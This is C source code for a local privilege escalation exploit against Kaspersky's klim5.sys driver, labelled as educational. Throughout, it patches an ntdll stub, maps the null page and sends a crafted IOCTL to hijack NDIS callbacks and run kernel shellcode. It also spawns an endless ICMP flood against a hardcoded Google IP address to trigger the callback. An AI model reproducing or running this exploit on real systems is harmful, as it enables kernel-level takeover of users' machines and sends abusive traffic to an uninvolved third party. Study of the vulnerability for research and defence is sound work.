//// Kaspersky products klim5.sys local privilege escalation //// ruben@reversemode.com
#include "stdafx.h"
#define BUFFER_SIZE 4
#define MAGIC_IOCTL 0x80052110 #define IMAGEBASE 0x10000
BOOL FlagVulnerable = FALSE; ULONG_PTR kTrampoline; ULONG_PTR off1,off2;
typedef DWORD (WINAPI *PNTDELETEKEY)( IN HANDLE hKey ); typedef NTSTATUS (WINAPI *PNTALLOCATE)( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect );
typedef HANDLE (WINAPI *PIcmpCreateFile)(); typedef DWORD (WINAPI *PIcmpSendEcho2)( HANDLE IcmpHandle, HANDLE Event, FARPROC ApcRoutine, PVOID ApcContext, IPAddr DestinationAddress, LPVOID RequestData, WORD RequestSize, PIP_OPTION_INFORMATION RequestOptions, LPVOID ReplyBuffer, DWORD ReplySize, DWORD Timeout); void WINAPI PacketBombing () {
PIcmpSendEcho2 IcmpSendEcho2; PIcmpCreateFile IcmpCreateFile; DWORD dwVersion; HANDLE hIcmpFile; LPVOID ReplyBuffer; char *SendData = "Hi!";
dwVersion = GetVersion()&0xFFFF; if( dwVersion == 0x0005 ) { IcmpSendEcho2 = (PIcmpSendEcho2)GetProcAddress(LoadLibrary("icmp.dll") ,"IcmpSendEcho2"); IcmpCreateFile = (PIcmpCreateFile)GetProcAddress(LoadLibrary("icmp.dll") ,"IcmpCreateFile"); }else{
IcmpSendEcho2 = (PIcmpSendEcho2)GetProcAddress(LoadLibrary("iphlpapi.dll") ,"IcmpSendEcho2"); IcmpCreateFile = (PIcmpCreateFile)GetProcAddress(LoadLibrary("iphlpapi.dll") ,"IcmpCreateFile"); } SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL);
hIcmpFile=IcmpCreateFile(); ReplyBuffer = (VOID*) malloc(sizeof(ICMP_ECHO_REPLY) + sizeof(SendData)); while(1) { IcmpSendEcho2(hIcmpFile, NULL, NULL, NULL, inet_addr("66.102.9.99"), // sorry google :( SendData, sizeof(SendData), NULL, ReplyBuffer, 8*sizeof(SendData) + sizeof(ICMP_ECHO_REPLY), 1000); Sleep(10); } }
_declspec(naked) int ShellCode() { _asm{ mov eax,[kTrampoline] mov [edi+8],eax ; restore callback mov [edi+0xC],eax ; restore callback #2 push esi mov esi,[off2] mov esi,[esi] mov esi,[esi] mov [esi+8],eax ; restore callback2 mov [esi+0xC],eax ; restore callback2 #2 pop esi mov FlagVulnerable,1 xor eax,eax retn 4 } }
int Callback_Overview() { printf("\n"); printf("================================================= \n"); printf(" Kaspersky Products (KIS 2008 && WorkStation) \n"); printf(" KLim5.sys Local Privilege Escalation Exploit \n"); printf("================================================= \n"); printf(" Ruben Santamarta - For educational purposes ONLY \n"); printf("+ References:\n"); printf(" www.kaspersky.com\n"); printf(" wwww.reversemode.com\n\n"); return 1; }
int Callback_Direct(char *szInitStr) { PNTALLOCATE NtAllocateVirtualMemory; PNTDELETEKEY NtDeleteKey; ULONG_PTR ntJump; ULONG_PTR inBuff[BUFFER_SIZE]={0}; ULONG_PTR BaseNt=0,BaseKlim=0; LPVOID addr = (LPVOID)3; DWORD Offset = 0; DWORD dwShellSize = 0x2000; DWORD oldProt;
int i;
HMODULE hNtdll; HANDLE hDevice; HMODULE hKernel; char szNtos[MAX_PATH]={0}; char szKlim[MAX_PATH]={0};
unsigned char trampoline[]="\x68\x00\x00\x00\x00" "\xc3"; Callback_Overview();
if( GetDriverInfoByName("krnl",szNtos,&BaseNt) ) { printf("[+] %s loaded at \t [ 0x%p ]\n",szNtos,BaseNt); } else { printf("[!!] Kernel not found :?\n"); return FALSE; }
if( GetDriverInfoByName("klim5.sys",szKlim,&BaseKlim) ) { printf("[+] %s loaded at \t [ 0x%p ]\n",szKlim,BaseKlim); } else { printf("[!!] Klim5.sys not found :?\n"); return FALSE; }
if( strstr(szNtos,"krnlpa") ) { hKernel = LoadLibraryExA("ntkrnlpa.exe",0,1); } else { hKernel = LoadLibraryExA("ntoskrnl.exe",0,1); } kTrampoline = (ULONG_PTR)GetProcAddress(hKernel,"ExGetSharedWaiterCount");
for(i=0; i<0x20;i++) { if( *(WORD*)((BYTE*)kTrampoline+i) == 0x04C2) { printf("[+] Offset Found : %d \n",i); Offset = i; break; } }
if ( Offset == 0 ) { printf("[+] Offset not found\n"); exit(0); }
kTrampoline -= ( ULONG_PTR )hKernel; kTrampoline += BaseNt; kTrampoline += Offset; printf("[+] Kernel Mode landing address (ExGetSharedWaiterCount): [ 0x%p ]\n",kTrampoline);
off1 = BaseKlim + 0x40b0; // callbacks 1 off2 = BaseKlim + 0x40a8; // callbacks 2
hNtdll = GetModuleHandle("ntdll.dll"); NtDeleteKey = (PNTDELETEKEY)GetProcAddress(hNtdll,"NtDeleteKey"); Offset = 0; for(i=0; i<0x20;i++) { if( *(WORD*)((BYTE*)NtDeleteKey + i) == 0x04C2) { printf("[+] Offset Found : %d \n",i); Offset = i; break; } }
if( Offset == 0 ) { printf("[+] Offset not found\n"); exit(0); } ntJump = (ULONG_PTR)((BYTE*)NtDeleteKey + Offset); *(ULONG_PTR*)(trampoline+1)=(ULONG_PTR)ShellCode;
// Every process except the exploit will execute "retn 4" whilst the exploit // jumps to our shellcode. ( ntdll.dll trampoline ). Moreover, by "touching" // that page we make sure that it will be IRQL DISPATCH compliant. VirtualProtect((LPVOID)NtDeleteKey,0x20,PAGE_EXECUTE_READWRITE,&oldProt); memcpy((LPVOID)ntJump ,(LPVOID)trampoline,sizeof(trampoline)-1); VirtualProtect((LPVOID)NtDeleteKey,0x20,oldProt,NULL);
printf("[+] UserMode NtDeleteKey landing/trampoline address: [ 0x%p ]\n",NtDeleteKey); NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(hNtdll,"NtAllocateVirtualMemory"); if( !NtAllocateVirtualMemory ) { printf("[!!] Unable to resolve NtAllocateVirtualMemory\n"); return FALSE; }
printf("\n[+] Allocating memory at [ 0x%p ]...",NULL);
NtAllocateVirtualMemory( INVALID_HANDLE_VALUE, &addr, 0, &dwShellSize, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE );
if( (ULONG_PTR)addr ) { printf("[*] Error allocating memory\n"); return 0; }
printf("OK"); for(i=0; i < dwShellSize/sizeof(ULONG_PTR); i++) *((ULONG_PTR*)addr+i)=kTrampoline;
printf("\n[+] Checking device..."); hDevice = OpenDevice(L"\\\\.\\klim5", FALSE, FALSE, FALSE, 0, 0); if( hDevice == INVALID_HANDLE_VALUE ) { printf("Failed!\n"); return FALSE; } printf("OK\n");
DWORD junk;
SetPriorityClass(GetCurrentProcess(),REALTIME_PRIORITY_CLASS); CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)PacketBombing, (LPVOID)NULL, 0, NULL);
printf("[+] ShellCode: [ %p ]\n",ShellCode); printf("[+] Sending IOCTL...\n");
// Set the NDIS callback to the Ntdll trampoline for(i=0; i<BUFFER_SIZE; i++) inBuff[i] = (ULONG_PTR)ntJump; DeviceIoControl(hDevice, MAGIC_IOCTL, (LPVOID)inBuff,BUFFER_SIZE*sizeof(ULONG_PTR), NULL,NULL, &junk, NULL);
printf("[+] Waiting for Shellcode execution..."); Sleep(2000);
if(FlagVulnerable) printf("\n\n[+] Shellcode executed successfully!\n"); else printf("\n\n[**]ERROR: Shellcode not triggered\n"); return 0; }
|